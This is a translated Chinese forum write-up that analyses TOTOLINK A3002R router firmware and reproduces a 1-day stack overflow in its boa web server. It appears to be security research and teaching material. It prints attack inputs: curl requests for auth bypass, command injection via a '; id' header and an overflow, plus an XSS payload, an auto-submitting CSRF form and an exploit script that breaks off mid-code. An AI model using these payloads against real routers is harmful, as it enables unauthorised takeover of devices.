-
-
[翻译]TOTOLINK A3002R路由器静态分析和1day漏洞利用
-
发表于: 2025-7-28 17:21 848
-
原文标题翻译:[1-day] 静态分析
原文链接:[1-day] 정적 분석
原博主地址:goldenGlow_21
博主文章质量很高,有pwn基础并想要入手IOT可以追一下他的博客!
在搬运前已在github上取得博主的许可
我会用块注释加上一些我个人添加的注释在文章中辅助理解
前半段是对固件的分析
漏洞挖掘部分是对该固件的一个1day漏洞的复现
如果有翻译错误,请及时联系我指出!
希望这篇文章可以帮到你!
初步分析
文件系统提取
binwalk -e TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web
原博主用的固件地址:TOTOLINK

确认 squashfs 文件系统
文件系统分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root$ readelf -h ./bin/busyboxELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x403fc0 Start of program headers: 52 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x70001005, noreorder, cpic, o32, mips32r2 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 8 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0 |
- 架构:MIPS little endian
主要目录总结
/bin:存放可执行的二进制文件/etc:存放配置文件/lib:包含共享库文件/usr:包含一些额外的可执行文件和配置文件/var:用于存放日志和其他数据/web:与 Web 管理页面相关的文件/dev,/proc,/sys:与虚拟文件系统相关的目录
异常点分析
硬编码密码分析
- password
1 2 3 4 5 6 7 8 9 10 11 12 13 | kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "password" squashfs-root/squashfs-root/web/add/top_menu_tools.htm:<li><a href="/password.htm" target="view"><script>dw(menu_pwd)</script></a></li>squashfs-root/web/util_gw.js: alert(password_passwd_unmatcheds);squashfs-root/web/util_gw.js: alert(password_passwd_unmatcheds);squashfs-root/web/util_gw.js: alert(password_passwd_unmatcheds);...grep: squashfs-root/lib/libssl.so: binary file matchesgrep: squashfs-root/lib/libcrypto.so.1.0.0: binary file matchessquashfs-root/etc/samba/smb.conf:# Use password server option only with security = serversquashfs-root/etc/samba/smb.conf:; password server = <NT-Server-Name>squashfs-root/etc/samba/smb.conf:# You may wish to use password encryption. Please readsquashfs-root/etc/samba/smb.conf:; encrypt passwords = yessquashfs-root/etc/wscd.conf:device_password_id = 0 |
- admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "admin" squashfs-root/squashfs-root/web/login.htm:<input type="hidden" id="username" name="username" value="admin">squashfs-root/web/mobile/login.asp:<input type="hidden" id="username" name="username" value="admin">squashfs-root/web/mobile/forgot.asp: <h5><script>dw(MB_def_name)</script>:admin</h5>squashfs-root/web/mobile/forgot.asp: <h5><script>dw(MB_def_pass)</script>:admin</h5>squashfs-root/web/administration.htm: document.formDiskManagementUser.submit_url.value = "/administration.htm";squashfs-root/web/administration.htm: document.formDiskManagementGroup.submit_url.value = "/administration.htm";squashfs-root/web/administration.htm: <input type="hidden" value="/administration.htm" name="submit-url">grep: squashfs-root/bin/pptp: binary file matchesgrep: squashfs-root/bin/iptables: binary file matchesgrep: squashfs-root/bin/flash: binary file matchesgrep: squashfs-root/bin/ip6tables: binary file matchesgrep: squashfs-root/bin/l2tpd: binary file matchesgrep: squashfs-root/bin/traceroute: binary file matchesgrep: squashfs-root/lib/libntfs-3g.so.85.0.0: binary file matches |
- root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted$ grep -r "root" squashfs-root/squashfs-root/web/add/top_menu_wifilock.htm: var root_onekeyAccessenabled = <%getIndex("root_oneKeyAccessEnabled");%>;squashfs-root/web/add/top_menu_wifilock.htm: if(root_onekeyAccessenabled)squashfs-root/web/add/top_menu_wifilock.htm: { f.elements["root_enabled"].selectedIndex = 1;squashfs-root/web/add/top_menu_wifilock.htm: f.elements["root_enabled"].selectedIndex = 0;...root/etc/shadow.sample:root:$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/:14587:0:99999:7:::squashfs-root/etc/dnsmasq.conf:# answer, and which load the servers (especially the root servers)squashfs-root/etc/tmp/picsdesc6.skl: <root xmlns="urn:schemas-upnp-org:device-1-0">squashfs-root/etc/tmp/picsdesc6.skl: </root>squashfs-root/etc/tmp/picsdesc.xml: <root xmlns="urn:schemas-upnp-org:device-1-0">squashfs-root/etc/tmp/picsdesc.xml: </root>squashfs-root/etc/tmp/picsdesc6.xml: <root xmlns="urn:schemas-upnp-org:device-1-0">squashfs-root/etc/tmp/picsdesc6.xml: </root>squashfs-root/etc/tmp/picsdesc.skl: <root xmlns="urn:schemas-upnp-org:device-1-0">squashfs-root/etc/tmp/picsdesc.skl: </root>squashfs-root/etc/passwd:root:x:0:0:root:/:/bin/sh |
分析发现的内容
1. 默认管理员账户
文件路径:
squashfs-root/web/login.htmsquashfs-root/web/mobile/login.aspsquashfs-root/web/mobile/forgot.asp
发现的值:
1 2 3 | <input type="hidden" id="username" name="username" value="admin"><h5><script>dw(MB_def_name)</script>:admin</h5><h5><script>dw(MB_def_pass)</script>:admin</h5> |
管理员账号(admin)已被硬编码,并且很可能默认密码也为 admin。
2. root 账户及相关配置
文件路径:
squashfs-root/etc/passwdsquashfs-root/etc/shadowsquashfs-root/etc/boa.org/boa.conf
发现的值:
1 2 3 4 5 6 7 | root:x:0:0:root:/:/bin/shsquashfs-root/etc/shadow.sample: root:$1$AhUF3wyf$avFO3rhLHOKiDlJu9f4X8/User root Group root |
- 系统中存在 root 账户,并且密码以哈希形式保存在
shadow.sample文件中。 boa.conf配置显示网页服务器以root用户身份运行。- 网页服务器可能以
root权限运行。
- 网页服务器可能以
- 一旦攻击者获取
root账户,即可能获得系统的完全控制权。
3. 管理员密码的存储方式
文件路径:
squashfs-root/web/password.htmsquashfs-root/web/tr069config.htmsquashfs-root/web/gateway_mode.htmsquashfs-root/web/util_gw.js
发现的值:
1 2 | <form action=/boafrm/formPasswordSetup method=POST name="password"><input type="password" name="newPass" maxlength="30"> |
1 2 3 4 | <td><input type="password" name="ddnsPassword" maxlength="30" value="<% getInfo("ddnsPassword"); %>"></td><td><input type="password" name="pppPassword" maxlength="128" value="<% getInfo("pppPassword"); %>"></td><td><input type="password" name="pptpPassword" maxlength="128" value="<% getInfo("pptpPassword"); %>"></td><td><input type="password" name="l2tpPassword" maxlength="128" value="<% getInfo("l2tpPassword"); %>"></td> |
- HTML 代码中存在以模板形式嵌入的密码值,
<% getInfo("pppPassword"); %>
- DDNS、PPPoE、VPN(PPTP、L2TP)等密码可通过前端源码直接查看。
- JavaScript 中还包含与密码错误相关的提示,当攻击者分析 Web 界面时,很容易理解密码策略
4. Samba 与其他服务的认证信息
文件路径:
squashfs-root/etc/samba/smb.confsquashfs-root/etc/vsftpd.confsquashfs-root/etc/minidlna.conf
发现的值:
1 2 3 | ; encrypt passwords = yes; password server = <NT-Server-Name>local_root=/var/tmp/usb |
Samba 与 FTP 配置文件中可能未启用加密密码功能。
local_root=/var/tmp/usb表明系统可能会将本地 USB 存储挂载于该路径,存在认证信息被泄露的风险。
Web 界面分析
文件路径:/squashfs-root/web/cgi-bin/cstecgi.cgi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | int __fastcall main(int argc, const char **argv, const char **envp){ int v3; // $a1 int v4; // $a2 int v5; // $v0 int v6; // $s1 ... _BYTE v45[4096]; // [sp+1F8h] [-200Ch] BYREF char v46[4096]; // [sp+11F8h] [-100Ch] BYREF const char *v47; // [sp+21F8h] [-Ch] v6 = getenv("stationIp", argv, envp); v5 = getenv("CONTENT_LENGTH", v3, v4); v7 = strtol(v5, 0, 10); puts("\n"); if ( apmib_init() ) { memset(v46, 0, sizeof(v46)); if ( (unsigned int)v46 >= 0x1000 ) v8 = 4096; else v8 = v7 + 1; fread(v46, 1, v8, stdin); if ( !v6 ) getenv("REMOTE_ADDR", v9, v10); v11 = getenv("QUERY_STRING", v9, v10); v12 = v11; v13 = v46; if ( v11 ) { v14 = strstr(v11, "CSAuthUrl="); if ( v14 ) { v13 = v45; memset(v45, 0, sizeof(v45)); sprintf(v45, "{\"topicurl\":\"setting/refineCSAuth\",\"CSAuthUrl\":\"%s\"}", v14 + 10); } else { v13 = v45; if ( strstr(v12, "CSAuth=login") ) { memset(v45, 0, sizeof(v45)); sprintf(v45, "{\"topicurl\":\"setting/formPostCSAuth\",\"CSAuthUrl\":\"%s\"}", v46); } else { v13 = v46; if ( strstr(v12, "action=login") ) { v17 = strstr(v12, "flag=1"); v47 = (const char *)getenv("http_host", v15, v16); memset(v45, 0, sizeof(v45)); if ( v17 ) { sprintf(v45, "{\"topicurl\":\"setting/loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=1\"}", v46, v47); v13 = v45; } else { v13 = v45; sprintf(v45, "{\"topicurl\":\"setting/loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s\"}", v46, v47); } } } } } v18 = cJSON_Parse(v13); if ( v18 ) { if ( *v13 == 91 ) ArrayItem = cJSON_GetArrayItem(v18, 0); else ArrayItem = v18; v20 = *(_DWORD *)(cJSON_GetObjectItem(ArrayItem, "topicurl") + 16); Object = cJSON_CreateObject(); if ( strstr(v20, "getSysStatusCfg") ) { apmib_get(201, &v35); sprintf(v41, "%02x:%02x:%02x:%02x:%02x:%02x", v35, v36, v37, v38, v39, v40); String = cJSON_CreateString(v41); cJSON_AddItemToObject(Object, "lanMac", String); apmib_get(170, v41); v23 = inet_ntoa(v41[0]); strcpy(v41, v23); v24 = cJSON_CreateString(v41); v25 = "lanIp"; } else { if ( !strstr(v20, "getCrpcConfig") ) goto LABEL_31; strcpy(v41, "ping -c 1 8.8.8.8 > /dev/null"); v26 = system(v41); v27 = sub_4012F8(v26 == 0); Number = cJSON_CreateNumber(v27, HIDWORD(v27)); cJSON_AddItemToObject(Object, "status", Number); v29 = fopen("/tmp/crpc_url", "r"); v30 = v29; if ( v29 ) { fgets(v42, 100, v29); fclose(v30); } memset(v44, 0, sizeof(v44)); for ( i = 0; i < strlen(v42); ++i ) { v32 = (char)v42[i]; if ( v32 == 10 ) break; v44[i] = v32; } apmib_get(201, &v35); sprintf(v43, "%02x:%02x:%02x:%02x:%02x:%02x", v35, v36, v37, v38, v39, v40); sprintf(v41, "%s%s?mac=%s", "5dbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4S2M7Y4W2K6N6s2g2V1K9h3!0Q4x3X3g2U0L8$3#2Q4x3V1k6J5L8%4g2@1k6i4u0Q4x3V1k6%4k6h3y4Z5j5i4c8E0j5h3&6S2k6$3g2Q4x3V1k6J5L8%4g2@1k6i4u0#2M7X3I4Q4x3@1k6#2M7X3I4Q4x3@1b7`.", v44, v43); v24 = cJSON_CreateString(v41); v25 = "url"; } cJSON_AddItemToObject(Object, v25, v24);LABEL_31: v33 = (const char *)cJSON_Print(Object); printf("%s", v33); cJSON_Delete(Object); cJSON_Delete(v18); free(v33); exit(0); } } return -1;} |
处理环境变量输入(
getenv())- 获取并利用
stationIp、CONTENT_LENGTH、REMOTE_ADDR、QUERY_STRING、http_host等环境变量 - 利用
QUERY_STRING的值(如action=login)来触发特定行为
- 获取并利用
CGI 请求解析与 JSON 处理(
cJSON_Parse())- 使用
cJSON_Parse(v13)解析 JSON 格式的 CGI 请求数据
- 使用
命令执行逻辑(包含
system()调用,例如getCrpcConfig)- 执行:
ping -c 1 8.8.8.8 > /dev/null - 在某些条件满足时会调用
system(v41)
- 执行:
存在缓冲区溢出风险(
fgets()、strcpy()、sprintf())- 代码中存在处理 JSON 数据时未进行长度校验的情况
漏洞判断
基于环境变量的攻击
getenv("stationIp"),getenv("CONTENT_LENGTH")→ 攻击者可以注入被篡改的环境变量值strtol(v5, 0, 10);→ 在将CONTENT_LENGTH值转换为数字的过程中存在溢出的可能性QUERY_STRING的值(如action=login,CSAuth=login等)可能因操作而异
存在旁路认证绕过的可能性(
action=login)- 登录请求通过字符串
"action=login"进行识别 - 没有实际的用户身份认证(密码验证)
- 仅基于 HTTP Host 生成登录 URL 的方式
- 登录请求通过字符串
命令注入
- 如果运行一个命令,其中包括环境变量或用户输入,攻击者可能会注入 shell 命令
system(v41)运行前确保没有输入的过滤。
栈溢出
- 在
sprintf(v45, "...", v46)中,对输入值v46的长度没有限制 - 攻击者注入过长的输入值时可能导致栈溢出
- 在
准备EXP
在此之前,我个人建议先自行模拟运行一遍固件,简单看一下功能点,并自行逆向分析一下其中的boa和cgi文件
顺带一提,里面的符号表如果ida未能识别可以参考我的这篇文章! [分享]使用ida脚本 恢复/提取 ida未能识别的ELF文件符号表
- 认证绕过
curl -X GET "260K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4y4@1k6h3y4Y4K9g2)9J5k6h3y4Y4K9g2)9K6c8X3q4U0N6r3W2G2L8W2)9K6c8r3I4G2k6$3W2F1" - 命令注入
curl -X GET "d57K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4y4@1k6h3y4Y4K9g2)9J5k6h3y4Y4K9g2)9K6c8X3q4U0N6r3W2G2L8W2)9K6c8r3N6W2N6p5y4J5M7r3y4o6L8$3&6X3K9h3M7`." -H "User-Agent: ; id" - 栈溢出
curl -X GET "b1dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4y4@1k6h3y4Y4K9g2)9J5k6h3y4Y4K9g2)9K6c8V1y4e0b7i4g2@1K9q4g2J5L8q4)9K6c8q4)9J5y4q4)9J5z5s2m8&6N6r3S2G2L8U0x3`. -c 'print("A"*5000)')"
确认网页服务器配置(boa.conf)中管理员访问限制
| 问题点 | 说明 | 影响 |
|---|---|---|
| 以root权限运行(User root, Group root) | 网页服务器以root权限运行 | 若漏洞被利用,可能导致整个系统被攻陷 |
| 允许执行CGI(AddType application/x-httpd-cgi cgi) | .cgi 文件可以被执行 | 恶意CGI上传时可能执行代码(存在远程代码执行RCE风险) |
| 通过ScriptAlias允许在/cgi-bin/执行CGI | /var/web/cgi-bin/内所有文件均可执行 | 若目录内存在漏洞脚本,可能导致远程代码执行 |
| 禁用KeepAlive(KeepAliveMax 0) | 持续连接(KeepAlive)被禁用 | 相较性能问题,更容易使攻击者发送多次请求 |
| MIME类型指定(AddType application/x-httpd-cgi php) | 可能允许执行.php扩展名文件 | 攻击者可能尝试执行PHP代码 |
以 root 权限运行
1 2 | User rootGroup root |
- 网页服务器进程以 root 权限运行
- 如果攻击者利用了 RCE(远程代码执行)漏洞,可能立即获取 root 权限
- 通常出于安全考虑,网页服务器应以受限权限(如
nobody、www-data)运行
CGI执行路径
1 2 3 | AddType application/x-httpd-cgi cgiScriptAlias /cgi-bin/ /var/web/cgi-bin/CGIPath /bin:/usr/bin:/var/web/cgi-bin/ |
- 设置为允许执行
/cgi-bin/目录下的所有文件 - 如果攻击者找到可以上传 .cgi 文件的路径,可能实现任意代码执行(RCE)
确认 /var/web/cgi-bin/ 目录中存在哪些 CGI 文件
检查是否存在如 cstecgi.cgi 之类的 CGI 可执行文件是否位于该目录中
MIME 类型设置
AddType application/x-httpd-cgi php
- 可能会导致 .php 文件被执行
- 虽然 boa 网页服务器通常不直接执行 PHP,但若存在额外的解释器,仍可能被执行
1 2 | ls -l /var/web/cgi-bin/ ls -l /var/web/ |
确认网页服务器内有哪些文件
如果存在如 /var/web/admin/ 的目录,可能存在管理员页面访问的可能性
DirectoryIndex 设置
DirectoryIndex index.html
index.html被设定为默认页面- 未阻止自动目录列表
- 即,如果
boa.conf中未设置DirectoryMaker,则目录索引功能可能被启用
1 | curl -X GET "911K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3" |
HTTP 响应头缺乏安全设置
- boa.conf 中未设置与安全相关的 HTTP 头(如
X-Frame-Options、Content-Security-Policy等) - 可能容易受到 XSS(跨站脚本)等攻击
1 | curl -I http://192.168.0.1/ |
如果缺少安全头(X-Frame-Options、Content-Security-Policy),则存在 XSS 攻击的可能性。
登录页面(login.htm)源码分析
通过 formLogin 发起登录请求:
1 2 3 4 5 | <form action=/boafrm/formLogin method=POST> <input type="hidden" value="/login.htm" name="submit-url"> <input type="hidden" id="username" name="username" value="admin"> <input type="password" id="userpass" name="userpass" maxlength="15"> <button type="button" id="cs_login_btn"> |
- 表单的
action为/boafrm/formLogin- 登录请求将发送至
/boafrm/formLoginCGI 端点
- 登录请求将发送至
<input type="hidden" id="username" name="username" value="admin">- 管理员账号(admin)被硬编码
- 需要确认攻击者是否能篡改该输入字段
- 密码输入字段(
maxlength="15")- 仅在客户端限制:需确认服务器端是否也进行验证
1 | postVar['userpass'] = $("input[name='userpass']").val(); |
- 客户端仅确认是否输入了密码?
- 需确认服务器是否真正进行了认证检查
登录按钮点击后的行为需要进一步确认
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | $('#cs_login_btn').on('click', function(event) { if($("input[name='username']").val()==''){ $('#myDiv span').html(lgerr5); $('#myDiv').show(); return false; } if($("input[name='userpass']").val()==''){ $('#myDiv span').html(lgerr7); $('#myDiv').show(); return false; } var postVar={"topicurl":"setting/setUserLogin"}; postVar['username']=$("input[name='username']").val(); postVar['userpass']=$("input[name='userpass']").val(); postVar['submit-url']=$("input[name='submit-url']").val(); postVar=JSON.stringify(postVar); $.ajax({ type : "post", url : " /boafrm/formLogin", data : postVar, async : false, success : function(Data){ if((Data.length == 0)&&(<% getIndex("auth_enb"); %> == 1)){ parent.location= "home.htm#flag=1"; } else if(Data.length == 0){ parent.location="wizardset.htm"; } else { window.eval(Data); $("#myDiv").show(); return false; } } });}); |
- 登录请求被转换为 JSON 格式后,通过 POST 方式发送到
/boafrm/formLogin - 如果登录响应为空,则自动重定向到
home.htm或wizardset.htm - 使用
window\.eval(Data);- 可能直接执行服务器响应内容(存在 XSS 或代码执行漏洞的可能性)
window.eval(Data);
- 使用
eval()执行服务器响应的数据 - 如果攻击者诱导服务器返回包含恶意 JavaScript 的响应,则存在 XSS 或代码执行的可能性。
1 | curl -X POST "e81K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5X3!0S2k6Y4u0E0i4K6u0r3k6X3!0J5L8f1I4G2k6$3W2F1" -d '{"username":"<script>alert(1)</script>", "userpass":"admin"}' |
- 若 XSS 被执行,攻击者可能劫持管理员会话
CSRF(跨站请求伪造)漏洞
- 登录表单中缺少 CSRF 防护机制
<form action=/boafrm/formLogin method=POST>
1 2 3 4 5 6 7 8 9 10 | <html><body> <form action="266K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5X3!0S2k6Y4u0E0i4K6u0r3k6X3!0J5L8f1I4G2k6$3W2F1" method="POST"> <input type="hidden" name="username" value="admin"> <input type="hidden" name="userpass" value="admin"> <input type="submit"> </form> <script>document.forms[0].submit();</script></body></html> |
- 用户访问该 HTML 页面时会自动登录 → CSRF 攻击成功
网络设置及加密检查
网络服务及相关配置文件整理
| 服务 | 角色 | 相关配置文件 |
|---|---|---|
| dnsmasq | 提供 DNS 缓存及 DHCP 服务 | /etc/dnsmasq.conf |
| udhcpd | 简易 DHCP 服务器 | /etc/udhcpd.conf |
| pppd | PPPoE(VPN)认证及连接 | /etc/ppp/options, /etc/ppp/chap-secrets, /etc/ppp/pap-secrets |
| openvpn | VPN 服务 | /etc/openvpn/server.conf, /etc/openvpn/client.conf |
| l2tpd | L2TP VPN 服务 | /etc/l2tp/l2tpd.conf |
各服务可能存在的漏洞及影响
| 服务 | 漏洞 | 影响 |
|---|---|---|
| dnsmasq | log-queries 启用 | 内部 DNS 请求可能被暴露 |
| dnsmasq | 未设置 no-resolv | 可能添加恶意 DNS 服务器 |
| udhcpd | udhcpd.leases 文件暴露 | 临时 DHCP 分配信息可能泄露 |
| pppd | noauth 设置 | 可能允许未经认证的 PPP 连接 |
| openvpn | 使用 AES-128-CBC 加密 | 加密强度不足(建议使用 AES-256-GCM) |
| l2tpd | 认证信息可能硬编码 | 攻击者可能访问 VPN |
dnsmasq.conf
秘钥配置分析
domain-needed→ 阻止本地名称请求(安全)bogus-priv→ 阻止私有 IP 的 DNS 请求(安全)resolv-file=/etc/resolv.conf- 从上游 DNS 服务器
/etc/resolv.conf获取
- 从上游 DNS 服务器
DHCP 相关配置被注释 →(无
dhcp-range、dhcp-host)- 目前 DHCP 功能可能被禁用?
log-queries被禁用 → DNS 查询日志关闭(保护隐私)缺少
no-resolv配置 → 存在攻击者修改/etc/resolv.conf以使用恶意 DNS 的风险
漏洞分析
no-resolv选项被注释
1 2 | #no-resolv resolv-file=/etc/resolv.conf |
dnsmasq配置从 /etc/resolv.conf 获取上游 DNS 服务器但
no-resolv被注释,意味着攻击者若能修改 /etc/resolv.conf,能将流量重定向到恶意 DNS 服务器- 存在中间人攻击风险
log-queries选项被注释不记录 DNS 请求日志 → 难以进行入侵检测(IDS/IPS)及故障排查
攻击者可能利用
dnsmasq进行 DNS 解析器信息收集缺少
expand-hosts选项未启用
expand-hosts,内部域名不会自动扩展攻击者可通过修改 hosts 文件,扫描和探测内部网络设备
udhcpd.conf
- 系统中存在 udhcpd 服务,但未发现配置文件
- 后续将在 Linux 环境中进行进一步确认
漏洞挖掘
目标文件位置
A3002R-V1.1.1-B20200824/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root/bin/boa
在分析管理网页访问权限等设置的阶段,通过分析负责整体网页服务器配置的 boa 文件发现相关内容
boa:用于嵌入式设备的轻量级网页服务器- 在
DIR-882设备中可视为类似lighttpd的实现 - 可进一步关联分析
/squashfs-root/web/cgi-bin/cstecgi.cgi等文件
1 2 3 | kali@kali:~/Desktop/Firmware/_TOTOLINK-A3002R-He-V1.1.1-B20200824.0128.web.extracted/squashfs-root/bin$ checksec --file=boaRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILENo RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 0 boa |
- No RELRO:未应用内存保护
- No Stack Canary:未应用栈保护机制
- No PIE:ASLR(内存随机化)未应用
脚本分析
- 已加载至 IDA,开始进行分析

sub_440C2C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | int __fastcall sub_440C2C(int a1, int a2, int a3){ int v7; // [sp+18h] [-3Ch] BYREF _BYTE v8[12]; // [sp+1Ch] [-38h] BYREF _BYTE v9[44]; // [sp+28h] [-2Ch] BYREF apmib_save_wlanIdx(); sprintf(v8, "wlan%d-vxd", a1); sub_422694(v8); apmib_get(1, v9); if ( strcmp(v9, a3) && strcmp(a3, v9) ) { v7 = 1; apmib_set(272, &v7); strcpy(v9, a3); apmib_set(1, v9); apmib_set(278, v9); apmib_set(a2, v9); } sprintf(v8, "wlan%d", a1); sub_422694(v8); return apmib_recov_wlanIdx();} |
- 该函数用于添加
WLAN SSID - 是
boa网页服务器中 CGI 处理函数formWlEncrypt的一个子函数
漏洞分析
- 在
boa网页服务器中,wlan_ssid的值在后端被strcpy()复制时未做长度限制,导致漏洞产生 - 具体来说,
wlan_ssid的值未经过长度验证便被传入strcpy(),可能导致栈溢出 strcpy(v9, a3);→ 未验证输入长度直接复制 → BOF(Buffer Over Flow)
sub_442C28

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | ...v9 = (_BYTE *)sub_43BFA4(a1, "wlan_ssid", a2); if ( *v9 ) { if ( vwlan_idx >= 5 ) { v10 = 253; if ( !wlan_idx ) v10 = 251; sub_440C2C(wlan_idx, v10, (int)v9); } else { apmib_set(1, v9); } } v11 = (_BYTE *)sub_43BFA4(a1, "hiddenSSID", a2);... |
- 可以确认漏洞触发条件是 vwlan_idx 值必须大于等于 5。
漏洞验证,EXP
sub_407424
- 只需触发 CGI 函数 formWlanRedirect 即可将 vwlan_idx 设置为 5 以上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | ... v1 = a1 + 567; if ( strstr(a1 + 567, "formWlanRedirect") ) { v2 = strstr((char *)a1 + 4317, "redirect-url="); v3 = v2 + 13; if ( v2 ) { v4 = (_BYTE *)strstr(v2 + 13, "&wlan_id="); if ( v4 ) { *v4 = 0; v56 = v4 + 9; v5 = (_BYTE *)strstr(v4 + 9, "&mssid_idx="); v6 = v56; if ( !v5 || (*v5 = 0, v5 == (_BYTE *)-11) ) { v56 = v6; v12 = (_BYTE *)strstr(v6, " HTTP"); v8 = v56; if ( v12 ) { *v12 = 0; v10 = a1; v11 = v3; v9 = 0; goto LABEL_10; } } else { v56 = v6; v55 = v5 + 11; v7 = (_BYTE *)strstr(v5 + 11, " HTTP"); v8 = v56; v9 = v55; if ( v7 ) { *v7 = 0; v10 = a1; v11 = v3;LABEL_10: sub_43BDFC(v10, v11, v8, v9); //TARGET return 0; } } } } }... |
具体来说,可以准备如下请求:
1 2 3 4 5 | url = "193K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5h3c8V1i4K6u0r3j5X3!0S2k6Y4u0E0i4K6u0r3k6X3!0J5L8g2N6D9j5h3&6d9k6h3c8A6M7X3g2U0N6l9`.`."params = { "redirect-url": "wlbasic.htm", "wlan_id": "5"} |
漏洞验证准备
git clone 63fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6H3M7U0m8$3x3%4u0T1M7#2)9J5c8V1k6A6M7X3#2m8c8b7`.`.
apt-get install gdb-multiarch
1 2 3 4 | pip install requests`sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essentialpython3 -m pip install --upgrade pippython3 -m pip install --upgrade pwntools |
git clone c2bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0N6$3W2F1k6o6q4W2M7W2)9J5c8V1c8G2N6$3&6D9L8$3q4V1i4K6u0r3
sudo apt-get install netcat
漏洞验证 — 模拟环境测试

- 使用 FirmAE 进行模拟环境测试
- 以 admin 身份访问初始页面
漏洞验证 - 溢出测试
实际环境中,ASLR 默认是关闭状态
可通过以下命令关闭 ASLR:
1echo0 >/proc/sys/kernel/randomize_va_space之后执行下面的 exploit 测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | # exp.pyimport requestsimport loggingfrom pwn import *context.log_level = 'INFO'logging.basicConfig(level=logging.INFO)def invokeformLogin(): url = "e5cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5X3!0S2k6Y4u0E0i4K6u0r3k6X3!0J5L8f1I4G2k6$3W2F1" headers = { "Host": "192.168.0.1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": 